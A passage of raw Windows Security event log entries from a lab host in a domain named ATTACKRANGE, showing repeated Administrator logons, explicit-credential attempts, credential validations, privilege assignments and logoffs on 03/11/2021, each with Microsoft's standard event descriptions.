ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98AFF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245387 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245386 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245385 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98983 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245384 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98983 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245383 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98983 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245382 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245381 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245380 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x986A2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245379 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x986A2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245378 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245377 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245376 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245375 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x97EF9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245374 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x97EF9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245373 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245372 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245371 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8B397 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245370 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x93DCE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245369 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9756B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245368 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9756B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245367 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245366 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245365 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x972BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245364 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x972BA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245363 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x972BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245362 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245361 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245360 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x94ABC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245456 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C4DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245455 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D792 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245454 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D792 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245453 -Keywords=Audit Success -Message=A logon 